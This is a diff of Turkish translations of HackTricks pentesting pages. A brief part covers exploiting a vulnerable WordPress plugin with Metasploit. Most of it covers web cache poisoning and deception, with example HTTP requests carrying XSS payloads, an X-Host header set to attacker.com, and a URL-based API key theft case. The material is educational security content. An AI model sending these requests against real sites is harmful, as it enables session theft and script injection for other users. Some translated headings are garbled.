* "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir.
* Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
* Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.
İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zayıflıkları sömürmek yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.
İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.
**Daha detaylı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -387,28 +387,28 @@ Ayrıca, **yalnızca güvenilir WordPress eklentileri ve temaları yükleyin**.
* Varsayılan **admin** kullanıcısını kaldırın
* **Güçlü şifreler** ve **2FA** kullanın
* Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin**
* Kullanıcı **izinlerini periyodik olarak gözden geçirin**
* Kaba kuvvet saldırılarını önlemek için **giriş denemesini sınırlayın**
* **`wp-admin.php`** dosyasını yeniden adlandırın ve yalnızca belirli IP adreslerinden veya dahili olarak erişime izin verin.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi 🐦 Twitter'da [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -10,42 +10,42 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## Fark
> **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?**
>
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü niyetli içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü amaçlı içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır.
## Önbellek Zehirlenmesi
Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirli yanıtın yalnızca önbelleğin kirletilme süresi boyunca sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır.
Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, etkilenen sayfanın popülerliğine bağlıdır, çünkü kirletilmiş yanıt, önbelleğin kirletilme süresi boyunca sayfayı ziyaret eden kullanıcılara özel olarak sunulur.
Önbellek zehirlenmesi saldırısının yürütülmesi birkaç adımı içerir:
Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir:
1. **Anahtarsız Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilecek parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir.
2. **Anahtarsız Girişlerin Sömürülmesi**: Anahtarsız girişleri tanımladıktan sonra bir sonraki adım, bu parametreleri nasıl kötüye kullanacağınızı belirlemektir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir.
3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin kirletildiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı kirli yanıtı alacaktır.
1. **Anahtarlanmamış Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da, sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için söz konusu girişlerin nasıl kötüye kullanılacağının belirlenmesi açısından önemlidir.
2. **Anahtarlanmamış Girişlerin Kötüye Kullanılması**: Anahtarlanmamış girişleri tanımladıktan sonra, bir sonraki adım, bu parametreleri nasıl kötüye kullanarak sunucunun yanıtını saldırganın lehine nasıl değiştireceğini bulmaktır.
3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği süre zarfında etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alacaktır.
### Keşif: HTTP başlıklarını kontrol edin
Genellikle bir yanıt **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Keşif: Önbellek hata kodları
### Keşif: Önbellek hata kodlarını kontrol edin
Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek gönderebilirsiniz**, bu durumda bir **durum kodu 400** ile yanıt almalısınız. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olduğunu gördüğünüzde, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu durumda bir **durum kodu 400** ile yanıt verilmesi gerekmektedir. Daha sonra isteği normal olarak erişmeye çalışın ve yanıtın **400 durum kodu** olup olmadığını kontrol edin, eğer öyleyse zayıf olduğunu biliyorsunuzdur (ve hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek bulabilirsiniz:
@ -53,9 +53,9 @@ Daha fazla seçenek bulabilirsiniz:
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
Ancak **bazen bu tür durum kodları önbelleğe alınmaz** bu nedenle bu test güvenilir olmayabilir.
Ancak, **bazen bu tür durum kodları önbelleğe alınmaz** bu nedenle bu test güvenilir olmayabilir.
### Keşif: Anahtarsız girişleri tanımlayın ve değerlendirin
### Keşif: Anahtarlanmamış girişleri tanımlayın ve değerlendirin
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları **brute-force** yöntemiyle bulabilirsiniz. Örneğin, bir sayfa, betiği oradan yüklemesi için istemciyi göstermek için `X-Forwarded-For` başlığını kullanıyor olabilir:
```markup
@ -63,52 +63,52 @@ Ancak **bazen bu tür durum kodları önbelleğe alınmaz** bu nedenle bu test g
```
### Zararlı bir yanıtı arka uç sunucudan çıkarın
Parametre/başlık belirlendikten sonra, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin tarafınızdan kontrol edilen bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...)
Parametre/başlık belirlendikten sonra, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin kontrolünüzdeki bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...)
### Yanıtı önbelleğe alın
Kötüye kullanılabilecek **sayfayı** belirledikten sonra, hangi **parametre**/**başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\
Yanıtta **`X-Cache`** başlığı, isteğin önbelleğe alınıp alınmadığını belirten **`miss`** değerine sahip olabilir ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\
**`Cache-Control`** başlığı da önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`\
Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen ek başlıkları belirtmek için kullanılır, normalde anahtar olmasalar bile. Bu nedenle, kullanıcı, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\
Kötüye kullanılabilecek **sayfayı** belirledikten sonra, hangi **parametre**/**başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalışılan kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\
Yanıtta **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine sahip olabileceği ve önbelleğe alındığında **`hit`** değerine sahip olabileceği için çok yararlı olabilir.\
**`Cache-Control`** başlığı da ilginçtir; bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman tekrar önbelleğe alınacağını bilmek için kullanışlıdır: `Cache-Control: public, max-age=1800`\
Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen normalde anahtar olmayan ek başlıkları belirtmek için kullanılır. Bu nedenle, kullanıcı, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\
Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca olduğunu tanımlar.
Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin**, çünkü bunlardan bazıları beklenmedik şekilde **anahtar olarak** kullanılabilir ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar** olarak kullanılabilir ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin.
## Sömürü Örnekleri
### En kolay örnek
### En basit örnek
`X-Forwarded-For` gibi bir başlık yanıtta temizlenmeden yansıtılıyor.\
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS olacaktır:
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS'e maruz kalacaktır:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Not: Bu, `/en` yerine `/en?region=uk` isteğini zehirleyecektir._
_Not edin ki bu `/en?region=uk` isteğini zehirleyecek, `/en` değil_
### Hizmet Dışı Bırakmak İçin Önbellek Zehirlenmesi
### DoS için önbellek zehirlenmesi
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
### Çerez İşleme Güvenlik Açıklarını Sömürmek İçin Web Önbellek Zehirlenmesi Kullanımı
### Çerez işleme açıklarını sömürmek için web önbellek zehirlenmesi kullanma
Çerezler ayrıca bir sayfanın yanıtında yansıtılabilmektedir. Örneğin bir XSS oluşturmak için bunu kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz.
Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bir XSS'e neden olmak için bunu kötüye kullanabilirseniz, kötü amaçlı önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### Yol gezintisi ile önbellek zehirlenmesi yaparak API anahtarını çalmak için çoklu başlıkların kullanılması <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### API anahtarını çalmak için yol gezinimini kullanarak önbellek zehirlenmesi <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alınacaktır, bu da isteğin web sunucusuna ulaştığında yapıldı.
[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alınacağı ve bu işlemin web sunucusuna ulaştığında gerçekleştiği anlatılmaktadır.
### Web önbellek zehirlenmesi açıklarını sömürmek için çoklu başlıkların kullanılması <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bazen bir önbelleği kötüye kullanabilmek için **çeşitli anahtarsız girişleri sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Sunucu**, tüm **HTTP** isteklerini **HTTPS'ye** yönlendiriyorsa ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa. Yönlendirmenin nereye yapıldığını yönlendirebilirsiniz.
Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
```
### Sınırlı `Vary` başlığı ile Sömürme
Eğer yanıtta **`User-Agent`**'ı gösteren **`Vary`** başlığı kullanılan **alan adını yüklemek için bir JS kaynağı** olarak **`X-Host`** başlığını bulduysanız, kurbanın User-Agent'ını dışarı sızdırmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
Eğer yanıtta **`User-Agent`**'ı gösteren **`Vary`** başlığı kullanıldığını fark ederseniz ve **`X-Host`** başlığının bir JS kaynağını yüklemek için **alan adı olarak kullanıldığını** bulursanız, kurbanın User-Agent'ını dışa çıkarmak ve bu user agent'ı kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -126,7 +126,7 @@ X-Host: attacker.com
```
### Fat Get
GET isteği, isteği URL'de ve gövdede göndererek gönderilir. Web sunucusu gövdeden alınanı kullanırken önbellek sunucusu URL'den alınanı önbelleğe alırsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde bulunan James Kettle'ın keşfettiği zafiyet gibi.
GET isteği, isteği URL'de ve gövdede göndererek gönderilir. Eğer web sunucusu gövdedekini kullanıyorsa ancak önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde bulunan James Kettle'ın keşfettiği zayıflık gibi.
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -137,13 +137,13 @@ report=innocent-victim
```
### Parametre Gizleme
Örneğin, ruby sunucularda **parametreleri** **`&`** yerine **`;`** karakterini kullanarak ayırabilirsiniz. Bu, anahtarlı olmayan parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Örneğin, ruby sunucularda **`&`** yerine **`;`** karakterini kullanarak **parametreleri** ayırmak mümkündür. Bu, anahtarlı parametre değerlerini anahtarlı olmayanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTP İsteği Kaçırarak HTTP Önbellek Zehirlenmesini Kötüye Kullanma
### HTTP Önbellek Zehirlenmesini Kötüye Kullanarak HTTP Önbellek Zehirlenmesini Sömürme
[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin.
[HTTP İstek Kaçırma](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) kullanarak Önbellek Zehirlenme saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin.
### Web Önbellek Zehirlenmesi için Otomatik Testler
@ -156,22 +156,22 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## Zafiyetli Örnekler
## Hassas Örnekler
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS, URL içindeki fragmenti ayıklamadan iletmiş ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (fragmenti yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderilmiş ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunmuş, yük içermemiş.
ATS, URL içindeki parçayı ayıklamadan iletmiş ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturmuştur (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderilmiş ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunmuştur.
### GitHub CP-DoS
İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetiklemiştir. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırı yapmak mümkün olmuştur.
İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetiklemiştir. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulaması yapılmamış kullanıcılara saldırmak mümkün olmuştur.
### GitLab + GCP CP-DoS
@ -183,19 +183,19 @@ Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rac
### 403 ve Depolama Kovaları
Cloudflare önceden 403 yanıtlarını önbelleğe almıştır. Yanlış Kimlik Doğrulama başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınmış bir 403 yanıtına neden olmuştur. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış başka proxy hizmetlerinde hala mevcut olabilir.
Cloudflare önceden 403 yanıtlarını önbelleğe almıştır. Yanlış Kimlik Doğrulama başlıklarıyla S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden olmuştur. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış başka proxy hizmetlerinde hala mevcut olabilir.
### Anahtarlı Parametreler Enjekte Etme
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe almıştır. Ancak, URL kodlanmış bir parametre sürümü (örneğin, `siz%65`) yanlış bir değerle gönderilirse, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulur. Ancak, backend, URL kodlanmış parametre değerini işler. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak backend tarafından kullanılmasına neden olmuştur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir 400 Hatalı İstek hatası döndürmüştür.
Önbellekler genellikle özel GET parametrelerini önbellek anahtarında saklar. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe almıştır. Ancak, hatalı bir değerle birlikte URL kodlanmış bir versiyonu (örneğin, `siz%65`) gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulur. Ancak, backend, URL kodlanmış parametre değerini işler. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak backend tarafından kullanılmasına neden olmuştur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurmuştur.
### Kullanıcı Ajanı Kuralları
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. İronik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve Hizmet Reddi gibi zafiyetlere neden olabilir.
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. İronik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve Hizmet Reddi gibi güvenlik açıklarına neden olabilir.
### Yasadışı Başlık Alanları
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası döndüreceği bir açıklık belirlenmiştir.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, `\` gibi, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucunu doğurduğu bir sömürülebilir desen belirlenmiştir.
### Yeni başlıklar bulma
@ -203,9 +203,9 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
## Önbellek Aldatmacası
Önbellek Aldatmacasının amacı, istemcilerin **önbellekte saklanacak kaynakları hassas bilgileriyle birlikte yüklemelerini sağlamaktır**.
